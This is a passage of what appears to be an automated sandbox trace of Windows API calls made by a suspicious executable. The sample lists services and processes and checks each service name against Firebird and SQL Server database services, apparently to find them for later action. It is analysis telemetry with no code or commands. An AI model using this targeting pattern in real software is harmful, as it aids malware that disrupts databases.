lpString2="NlaSvc") returned -1 [0162.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0162.166] lstrlenW (lpString="nsi") returned 3 [0162.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0162.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0162.166] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0162.166] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0162.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0162.166] lstrlenW (lpString="PcaSvc") returned 6 [0162.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0162.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0162.166] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0162.167] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0162.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0162.167] lstrlenW (lpString="PlugPlay") returned 8 [0162.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0162.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0162.167] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0162.167] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0162.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0162.167] lstrlenW (lpString="Power") returned 5 [0162.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0162.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0162.167] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0162.167] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0162.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0162.167] lstrlenW (lpString="ProfSvc") returned 7 [0162.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0162.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0162.167] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0162.167] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0162.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0162.167] lstrlenW (lpString="RpcEptMapper") returned 12 [0162.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0162.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0162.167] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0162.167] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0162.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0162.167] lstrlenW (lpString="RpcSs") returned 5 [0162.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0162.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0162.167] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0162.167] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0162.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0162.167] lstrlenW (lpString="SamSs") returned 5 [0162.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0162.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0162.168] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0162.168] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0162.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0162.168] lstrlenW (lpString="Schedule") returned 8 [0162.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0162.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0162.168] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0162.168] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0162.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0162.168] lstrlenW (lpString="SecurityHealthService") returned 21 [0162.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0162.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0162.168] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0162.168] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0162.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0162.168] lstrlenW (lpString="SENS") returned 4 [0162.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0162.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0162.168] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0162.168] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0162.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0162.168] lstrlenW (lpString="ShellHWDetection") returned 16 [0162.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0162.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0162.168] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0162.168] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0162.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0162.168] lstrlenW (lpString="Spooler") returned 7 [0162.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0162.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0162.168] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0162.168] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0162.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0162.169] lstrlenW (lpString="StateRepository") returned 15 [0162.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0162.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0162.169] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0162.169] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0162.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0162.169] lstrlenW (lpString="SysMain") returned 7 [0162.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0162.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0162.169] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0162.169] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0162.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0162.169] lstrlenW (lpString="SystemEventsBroker") returned 18 [0162.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0162.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0162.169] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0162.169] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0162.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0162.169] lstrlenW (lpString="Themes") returned 6 [0162.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0162.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0162.169] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0162.169] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0162.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0162.169] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0162.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0162.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0162.169] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0162.169] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0162.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0162.169] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0162.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0162.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0162.169] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0162.170] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0162.170] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4087df8 | out: hHeap=0x420000) returned 1 [0162.170] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4c4 [0162.176] Process32FirstW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.176] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0162.176] lstrlenW (lpString="System") returned 6 [0162.176] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0162.177] lstrlenW (lpString="smss.exe") returned 8 [0162.177] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0162.177] lstrlenW (lpString="csrss.exe") returned 9 [0162.177] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0162.178] lstrlenW (lpString="wininit.exe") returned 11 [0162.178] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0162.178] lstrlenW (lpString="csrss.exe") returned 9 [0162.178] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0162.179] lstrlenW (lpString="winlogon.exe") returned 12 [0162.179] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0162.179] lstrlenW (lpString="services.exe") returned 12 [0162.179] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0162.180] lstrlenW (lpString="lsass.exe") returned 9 [0162.180] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0162.180] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0162.180] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0162.180] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0162.180] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.181] lstrlenW (lpString="svchost.exe") returned 11 [0162.724] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.725] lstrlenW (lpString="svchost.exe") returned 11 [0162.725] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0162.725] lstrlenW (lpString="dwm.exe") returned 7 [0162.725] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.726] lstrlenW (lpString="svchost.exe") returned 11 [0162.726] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.726] lstrlenW (lpString="svchost.exe") returned 11 [0162.726] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.727] lstrlenW (lpString="svchost.exe") returned 11 [0162.727] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.727] lstrlenW (lpString="svchost.exe") returned 11 [0162.728] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.728] lstrlenW (lpString="svchost.exe") returned 11 [0162.728] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.729] lstrlenW (lpString="svchost.exe") returned 11 [0162.729] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.729] lstrlenW (lpString="svchost.exe") returned 11 [0162.729] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.730] lstrlenW (lpString="svchost.exe") returned 11 [0162.730] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.730] lstrlenW (lpString="svchost.exe") returned 11 [0162.730] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.731] lstrlenW (lpString="svchost.exe") returned 11 [0162.731] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0162.731] lstrlenW (lpString="spoolsv.exe") returned 11 [0162.731] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.732] lstrlenW (lpString="svchost.exe") returned 11 [0162.732] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0162.732] lstrlenW (lpString="audiodg.exe") returned 11 [0162.732] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0162.733] lstrlenW (lpString="sihost.exe") returned 10 [0162.733] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.733] lstrlenW (lpString="svchost.exe") returned 11 [0162.733] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0162.734] lstrlenW (lpString="taskhostw.exe") returned 13 [0162.734] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0162.734] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0162.734] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0162.735] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0162.735] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0162.735] lstrlenW (lpString="Memory Compression") returned 18 [0162.735] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0162.736] lstrlenW (lpString="explorer.exe") returned 12 [0162.736] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0162.736] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0162.737] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0162.737] lstrlenW (lpString="SearchUI.exe") returned 12 [0162.737] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0162.738] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0162.738] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0162.738] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0162.738] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0162.739] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0162.739] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0162.739] lstrlenW (lpString="cmd.exe") returned 7 [0162.739] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0162.740] lstrlenW (lpString="conhost.exe") returned 11 [0162.740] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0162.740] CloseHandle (hObject=0x4c4) returned 1 [0162.740] Sleep (dwMilliseconds=0x1f4) [0163.366] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408dc18 [0163.367] EnumServicesStatusExW (in: hSCManager=0x408dc18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0163.367] GetLastError () returned 0xea [0163.367] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1b58) returned 0x408a2c8 [0163.367] EnumServicesStatusExW (in: hSCManager=0x408dc18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x408a2c8, cbBufSize=0x1b58, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x408a2c8, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0163.368] CloseServiceHandle (hSCObject=0x408dc18) returned 1 [0163.368] lstrlenW (lpString="AppXSvc") returned 7 [0163.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0163.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0163.368] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0163.369] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0163.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 